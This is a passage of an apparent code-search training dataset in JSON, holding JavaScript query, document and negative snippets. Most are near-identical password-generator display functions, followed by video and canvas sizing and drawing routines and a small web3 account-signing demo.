{\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"async function requestBlockchainInfo() {\\n return instance\\n .get(\\\"/tuichain/get_info/\\\")\\n .then((response) => {\\n return response.data;\\n })\\n .catch((error) => {\\n console.log(error);\\n return false;\\n });\\n}\",\n \"async function main(){\\n\\nvar password=\\\"pengshu\\\";\\n\\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\\nconsole.log(\\\"one branch\\\",oneBranchAccount);\\n\\n\\nlet unlock;\\n\\ntry{\\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\\ncatch(e){}\\n console.log(\\\"one branch unlock\\\",unlock);\\n \\n\\nvar message=\\\"I am the flash\\\";\\nlet signature;\\ntry{\\n signature=await web3.eth.sign(message,oneBranchAccount);\\n}catch(e){}\\nconsole.log(\\\"signature one branch:\\\",signature);\\n\\nlet verfication;\\ntry {\\n verification= await web3.eth.personal.ecRecover(message,signature);\\n}catch(e){console.log(e);}\\nconsole.log(verfication);\\n}\",\n \"function expressGETBuffer(){\\r\\n GenerateRandom(currentBuffer);\\r\\n app.get('/api/buffer',(req,res) =>{\\r\\n res.json({\\r\\n arduino: currentBufferArduino,\\r\\n dummy: currentBuffer\\r\\n });\\r\\n });\\r\\n //console.log(\\\"2a. GET to Server\\\");\\r\\n}\"\n]"},"negative_scores":{"kind":"list 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text;"},"document":{"kind":"string","value":"function getRandome (max) {\n return max[Math.floor(Math.random() * max.length )]; \n \n console.log(Math.random());\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function WritePassword(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n\n}","function writePassword() {\n document.querySelector(\"#password\").innerHTML = password;\n\n }","function userInput(password) {\n document.getElementById(\"password\").textContent = password;\n}","function UserInput(passwordText) {\n document.getElementById(\"password\").textContent = passwordText;\n}","function showPassword(displayPassword) {\n document.getElementById(\"password\").textContent = displayPassword;\n}","function writePassword(pass) {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = pass;\n\n}","function writePassword() {\n generatePassword()\n var passwordText = document.querySelector(\"#password\");\n passwordText.textContent = password\n\n}","function writePassword(password) {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(pd) {\n document.getElementById(\"password\").textContent = pd;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n\n}","function writePassword() {\n\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");//id selector = html line 22 \n\n passwordText.value = password;\n\n \n}","function passwordWriter() {\n let passwordText = document.querySelector(\"#password\");\n passwordText.value = password; \n}","function writePassword() {\nvar password = generatePassword();\nvar passwordText = document.querySelector(\"#password\");\n\npasswordText.value = password;\n}","function UserInput(output) {\n document.getElementById(\"password\").passwordText = output;\n}","function UserInput(ps) {\n document.getElementById(\"password\").textContent = ps;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.innerHTML = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n document.getElementById(\"password\").innerHTML = password;\n}","function writePassword(){\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\"); \n \n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = displayPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n\n passwordText.value = password;\n \n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password \n}","function writePassword() {\n var password = generatePasswordContent();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() { \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n }","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = newGeneratedPassword; \n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePass();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n passwordText.value = password;\n\n}","function writePassword(password) {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword(); \n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function inputPassword(e) {\n document.getElementById(\"password\").textContent = e;\n}","function writePassword() {\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n}","function writePassword() {\r\n var password = generatePassword();\r\n var passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n \r\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\npasswordText.value = password;\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password; \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password\n}","function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n\n\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n //\n \n\n passwordText.value = password;\n \n}","function userInput(finalPassword) {\n document.getElementById(\"password\").textContent = finalPassword;\n}","function writePassword(generatedPassword) {\n console.log(\"Generated Password: \" + generatedPassword);\n var newPassword = document.querySelector(\"#password\");\n newPassword.innerText = generatedPassword;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n\n}","function writePassword() {\n var password = newPassword\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePW();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}","function writePassword() {\n var password = generatePassword()\n var passwordText = document.querySelector(\"#password\")\n \n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n \n}","function writePassword() {\n \n var password = generatePassword()\n //alert(password);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function 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password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}","function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}"],"string":"[\n \"function WritePassword(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n\\n}\",\n \"function writePassword() {\\n document.querySelector(\\\"#password\\\").innerHTML = password;\\n\\n }\",\n \"function userInput(password) {\\n document.getElementById(\\\"password\\\").textContent = password;\\n}\",\n \"function UserInput(passwordText) {\\n document.getElementById(\\\"password\\\").textContent = passwordText;\\n}\",\n \"function showPassword(displayPassword) {\\n document.getElementById(\\\"password\\\").textContent = displayPassword;\\n}\",\n \"function writePassword(pass) {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = pass;\\n\\n}\",\n \"function writePassword() {\\n generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.textContent = password\\n\\n}\",\n \"function writePassword(password) {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(pd) {\\n document.getElementById(\\\"password\\\").textContent = pd;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n\\n}\",\n \"function writePassword() {\\n\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");//id selector = html line 22 \\n\\n passwordText.value = password;\\n\\n \\n}\",\n \"function passwordWriter() {\\n let passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\nvar password = generatePassword();\\nvar passwordText = document.querySelector(\\\"#password\\\");\\n\\npasswordText.value = password;\\n}\",\n \"function UserInput(output) {\\n document.getElementById(\\\"password\\\").passwordText = output;\\n}\",\n \"function UserInput(ps) {\\n document.getElementById(\\\"password\\\").textContent = ps;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.innerHTML = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n document.getElementById(\\\"password\\\").innerHTML = password;\\n}\",\n \"function writePassword(){\\n\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\"); \\n \\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = displayPassword;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n\\n\\n passwordText.value = password;\\n \\n\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password \\n}\",\n \"function writePassword() {\\n var password = generatePasswordContent();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() { \\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n\\n }\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = newGeneratedPassword; \\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePass();\\n var passwordText = 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document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password;\\r\\n \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\npasswordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password; \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = 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passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\n var password = generatePassword()\\n var passwordText = document.querySelector(\\\"#password\\\")\\n \\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n \\n var password = generatePassword()\\n //alert(password);\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() \\n{\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n}\",\n \"function writePassword() {\\r\\n var password = generatePassword();\\r\\n var passwordText = document.querySelector(\\\"#password\\\");\\r\\n\\r\\n passwordText.value = password; \\r\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n \\n \\n \\n passwordText.value = password;\\n \\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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\"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = document.querySelector(\\\"#password\\\");\\n\\n passwordText.value = password;\\n\\n}\",\n \"function writePassword() {\\n var password = generatePassword();\\n var passwordText = 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{\n\t\tcanvas.width = video_element.scrollWidth;\n\t\tcanvas.height = video_element.scrollHeight;\n\t\toutput_element.width = video_element.scrollWidth;\n\t\toutput_element.height = video_element.scrollHeight;\n\t\tconsole.log(\"Canvas size is \" + video_element.scrollWidth + \" x \" + video_element.scrollHeight);\n\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["_setupCanvas() {\n\t\tconst {video, elements} = this;\n\n\t\tconst virtualCanvas = elements.virtualCanvas = document.createElement('canvas');\n\n\t\tthis.context = elements.canvas.getContext('2d');\n\t\tthis.virtualContext = virtualCanvas.getContext('2d');\n\n\t\telements.canvas.width = virtualCanvas.width = video.videoWidth;\n\t\telements.canvas.height = virtualCanvas.height = video.videoHeight;\n\t}","canvasApp() {\n this.context = this.canvas.getContext(\"2d\");\n this.videoLoop();\n }","function makeCanvases() {\n w = _this.media.videoWidth;\n h = _this.media.videoHeight;\n \n // create a canvas to display the color-changed video, and a div to hold the canvas\n var candiv = document.createElement('div');\n candiv.style.position = 'absolute';\n _mediaHolder.appendChild(candiv);\n candiv.style.top = _media.offsetTop + 'px'; // so that the canvas will appear over the video\n candiv.style.left = _media.offsetLeft + 'px';\n _colorCanvas = document.createElement('canvas');\n _colorCanvas.style.display = 'none';\n _colorCanvas.width = w;\n _colorCanvas.height = h;\n candiv.appendChild(_colorCanvas);\n \n _colctx = _colorCanvas.getContext('2d');\n options.colorCanvas = _colorCanvas;\n \n // create a buffer canvas to hold each frame for processing\n // note that it just \"floats\" and is never appended to the document\n _bufferCanvas = document.createElement('canvas');\n _bufferCanvas.style.display = 'none';\n _bufferCanvas.width = w;\n _bufferCanvas.height = h;\n _bufctx = _bufferCanvas.getContext('2d');\n options.bufferCanvas = _bufferCanvas;\n console.log('The variable bufctx is ' + _bufctx);\n \n \n if (_coloring === \"color-no-change\"){\n return;\n }\n else if (_coloring === \"blackwhite\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n console.log('Playing. The variable bufctx is ' + _bufctx);\n options.redrawID = makeBW(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"sepia\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = makeSepia(_media, _bufctx, _colctx, w, h, framecounter);\n });\n }\n else if (_coloring === \"custom\"){\n _media.addEventListener('play', function(){\n var framecounter = 0;\n options.redrawID = adjustColor(_media, _bufctx, _colctx, w, h, framecounter, _redAdd, _greenAdd, _blueAdd);\n });\n }\n }","constructor() {\n super();\n /**\n * video source file or stream\n * @type {string}\n * @private\n */\n this._source = '';\n\n /**\n * use camera\n * @type {boolean}\n * @private\n */\n this._useCamera = false;\n\n /**\n * is component ready\n * @type {boolean}\n */\n this.isReady = false;\n\n /**\n * is video playing\n * @type {boolean}\n */\n this.isPlaying = false;\n\n /**\n * width of scaled video\n * @type {int}\n */\n this.videoScaledWidth = 0;\n\n /**\n * height of scaled video\n * @type {int}\n */\n this.videoScaledHeight = 0;\n\n /**\n * how the video is scaled\n * @type {string}\n * @default letterbox\n */\n this.videoScaleMode = 'contain';\n\n /**\n * what type of data comes back with frame data event\n * @type {string}\n * @default imagedataurl\n */\n this.frameDataMode = 'none';\n\n /**\n * determines whether to use the canvas element for display instead of the video element\n * @type {boolean}\n * @default false\n */\n this.useCanvasForDisplay = false;\n\n /**\n * canvas filter function (manipulate pixels)\n * @type {method}\n * @default 0 ms\n */\n this.canvasFilter = this.canvasFilter ? this.canvasFilter : null;\n\n /**\n * refresh interval when using the canvas for display\n * @type {int}\n * @default 0 ms\n */\n this.canvasRefreshInterval = 0;\n\n /**\n * video element\n * @type {HTMLElement}\n * @private\n */\n this.videoElement = null;\n\n /**\n * camera sources list\n * @type {Array}\n */\n this.cameraSources = [];\n\n /**\n * canvas element\n * @type {Canvas}\n * @private\n */\n this.canvasElement = null;\n\n /**\n * component shadow root\n * @type {ShadowRoot}\n * @private\n */\n this.root = null;\n\n /**\n * interval timer to draw frame redraws\n * @type {int}\n * @private\n */\n this.tick = null;\n\n /**\n * canvas context\n * @type {CanvasContext}\n * @private\n */\n this.canvasctx = null;\n\n /**\n * has the canvas context been overridden from the outside?\n * @type {boolean}\n * @private\n */\n this._canvasOverride = false;\n\n /**\n * width of component\n * @type {int}\n * @default 0\n */\n this.width = 0;\n\n /**\n * height of component\n * @type {int}\n * @default 0\n */\n this.height = 0;\n\n /**\n * left offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxLeft = 0;\n\n /**\n * top offset for letterbox of video\n * @type {int}\n * @default 0\n */\n this.letterBoxTop = 0;\n\n /**\n * aspect ratio of video\n * @type {number}\n */\n this.aspectRatio = 0;\n\n /**\n * render scale for canvas frame data\n * best used when grabbing frame data at a different size than the shown video\n * @attribute canvasScale\n * @type {float}\n * @default 1.0\n */\n this.canvasScale = 1.0;\n\n /**\n * visible area bounding box\n * whether letterboxed or cropped, will report visible video area\n * does not include positioning in element, so if letterboxing, x and y will be reported as 0\n * @type {{x: number, y: number, width: number, height: number}}\n */\n this.visibleVideoRect = { x: 0, y: 0, width: 0, height: 0 };\n\n this.template = `\n \n\n \n `;\n }","async function populateVideo() {\n // We grab the feed off the user's webcam\n const stream = await navigator.mediaDevices.getUserMedia({\n video: { width: 1280, height: 720 },\n });\n\n // We set the object to be the stream\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\n await video.play();\n\n // size the canvases to be the same size as the video\n console.log(video.videoWidth, video.videoHeight);\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n faceCanvas.width = video.videoWidth;\n faceCanvas.height = video.videoHeight;\n}","function paintToCanvas() {\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\n // Since the width of the photobooth is appx 1330px \n // the canvas will also take width of 1330px\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\n // therefore you can change the aspect ratio by changing the width and height of the canvas\n // if you remove the width 100% from its css , it will regain the size of 640*480\n\n // width and height = 640 * 480 \n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\n // setting canvas width and height = 640*480\n const width = video.videoWidth;\n const height = video.videoHeight;\n [canvas.width, canvas.height] = [width, height];\n\n // the video playing in the canvas is not a actual video\n // but rather a image showing every few millisecond (giving us a video like visual)\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\n return setInterval(() => {\n // ctx.drawImage will draw the image captured from the video feed\n // 0,0 are the x and y coordinate of the top left corner of the canvas\n // it will indicate that from which point the image drawing will start\n // width and height is of the destination contex(canvas)\n ctx.drawImage(video, 0, 0, width, height);\n\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\n\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \n // pixels will store the image data in form of array of rgb values for individual pixels\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // Rendering different effects for the pixels\n // Every image captured from the video feed every 16ms will go through these function everytime\n // The pixels returned by these function will have different rgb values as compared to the original pixels\n\n // This is for red filter\n // pixels = redEffect(pixels);\n\n // This is for rgbSplit(tiktok) filter\n // pixels = rgbSplit(pixels);\n\n // This is for green screen\n pixels = greenScreen(pixels);\n\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\n // ctx.globalAlpha = 0.8\n\n // this will put the modified pixels back into the canvas\n // thus showing the filter on the video\n ctx.putImageData(pixels, 0, 0)\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.fillStyle = '#000000';\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.lineWidth = 5;\n ctx.fillStyle = '#00FFFF';\n ctx.strokeStyle = '#00FFFF';\n\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function installcanvas () {\n\n // if there's an iframe\n var iframe = document.getElementById('tool_content');\n if (iframe) {\n \t\taddEventListener(\"message\", installfromiframe('#content', 'about:blank', ''), false);\n } \n \n // multiple videos as per\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \n else {\n\n // video locations that may need a click to access \n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\n // known video locations\n var matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n\n // if any known videos exist, launch those\n if (matches) {\n\n // loop through all known videos\n for (var i = 0; i < matches.length; i++) {\n\n // pull out the video number\n matches[i] = matches[i].replace(/\\D/g, \"\");\n\n // parameters for the videoplayer\n var parameter = {};\n\n // only supporting mp4 at the moment\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data \n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n parameter.playing = false;\n\n // find if the video is playing\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\n parameter.playing = true;\n }\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n // install player\n install(container, parameter);\n }\n }\n }\n\n // click on all possible video containers, watch if things change\n if (containers.length != 0) {\n\n // watch for changes for each container\n for(var i = 0; i < containers.length; i++) {\n\n // use mutation observer as per \n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\n var observer = new MutationObserver(function (mutations) {\n mutations.forEach(function (mutation) {\n\n // see if changes are to the child of the container\n if (mutation.type === 'childList') {\n\n // look through each child\n Array.prototype.forEach.call(mutation.target.children, function (child) {\n\n // match (only once per video) -- same code as if (matches) branch\n matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n if (matches) {\n for (var i = 0; i < matches.length; i++) {\n matches[i] = matches[i].replace(/\\D/g, '');\n\n // parameters for the videoplayer\n var parameter = {};\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n 